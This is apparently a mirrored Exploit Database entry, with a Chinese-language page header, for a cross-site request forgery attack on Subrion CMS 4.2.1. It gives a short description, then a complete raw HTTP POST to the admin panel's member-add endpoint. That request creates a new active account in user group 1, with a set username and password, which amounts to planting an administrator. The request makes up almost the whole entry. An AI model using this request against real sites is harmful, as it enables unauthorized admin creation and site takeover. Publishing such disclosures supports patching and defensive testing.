Subrion CMS 4.2.1 – Cross Site Request Forgery (CSRF) (Add Amin)

• Exploit Database
• 34 阅读

• 作者： Aryan Chehreghani
  日期： 2022-02-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50737/

• # Exploit Title: Subrion CMS 4.2.1 - Cross Site Request Forgery (CSRF) (Add Amin)
  # Date: 2022-02-09
  # Exploit Author: Aryan Chehreghani
  # Vendor Homepage: https://subrion.org
  # Software Link: https://subrion.org/download
  # Version: 4.2.1
  # Tested on: Windows 10
  
  # [ About - Subrion CMS ]: 
  #Subrion is a PHP/MySQL based CMS & framework,
  #that allows you to build websites for any purpose,
  #Yes, from blog to corporate mega portal.
  
  # [ Description ]:
  # CSRF vulnerability was discovered in 4.2.1 version of Subrion CMS,
  # With this vulnerability, authorized users can be added to the system.
  
  # [ Sample CSRF Request ]:
  
  POST /subrion/panel/members/add/ HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: multipart/form-data; boundary=---------------------------386122140640094420852486902
  Content-Length: 2522
  Origin: http://localhost
  Connection: close
  Referer: http://localhost/subrion/panel/members/add/
  Cookie: loader=loaded; INTELLI_ffd8ae8438=ftph4lgam8hugh8j0mgv8j4q2l
  Upgrade-Insecure-Requests: 1
  Sec-Fetch-Dest: document
  Sec-Fetch-Mode: navigate
  Sec-Fetch-Site: same-origin
  Sec-Fetch-User: ?1
  
  -----------------------------386122140640094420852486902
  Content-Disposition: form-data; name="__st"
  
  YNXrr7MjSY0Qi0JYISJ7DRuC9Gd1zxPYwjHcFKVh
  -----------------------------386122140640094420852486902
  Content-Disposition: form-data; name="username"
  
  Aryan
  -----------------------------386122140640094420852486902
  Content-Disposition: form-data; name="fullname"
  
  AryanChehreghani
  -----------------------------386122140640094420852486902
  Content-Disposition: form-data; name="email"
  
  aryanchehreghani@yahoo.com
  -----------------------------386122140640094420852486902
  Content-Disposition: form-data; name="_password"
  
  Test1234!
  -----------------------------386122140640094420852486902
  Content-Disposition: form-data; name="_password2"
  
  Test1234!
  -----------------------------386122140640094420852486902
  Content-Disposition: form-data; name="usergroup_id"
  
  1
  -----------------------------386122140640094420852486902
  Content-Disposition: form-data; name="website"
  
  
  -----------------------------386122140640094420852486902
  Content-Disposition: form-data; name="phone"
  
  
  -----------------------------386122140640094420852486902
  Content-Disposition: form-data; name="biography"
  
  
  -----------------------------386122140640094420852486902
  Content-Disposition: form-data; name="facebook"
  
  
  -----------------------------386122140640094420852486902
  Content-Disposition: form-data; name="twitter"
  
  
  -----------------------------386122140640094420852486902
  Content-Disposition: form-data; name="gplus"
  
  
  -----------------------------386122140640094420852486902
  Content-Disposition: form-data; name="linkedin"
  
  
  -----------------------------386122140640094420852486902
  Content-Disposition: form-data; name="email_language"
  
  en
  -----------------------------386122140640094420852486902
  Content-Disposition: form-data; name="sponsored"
  
  0
  -----------------------------386122140640094420852486902
  Content-Disposition: form-data; name="featured"
  
  0
  -----------------------------386122140640094420852486902
  Content-Disposition: form-data; name="featured_end"
  
  2022-03-09 12:03
  -----------------------------386122140640094420852486902
  Content-Disposition: form-data; name="status"
  
  active
  -----------------------------386122140640094420852486902
  Content-Disposition: form-data; name="save"
  
  1
  -----------------------------386122140640094420852486902
  Content-Disposition: form-data; name="goto"
  
  list
  -----------------------------386122140640094420852486902--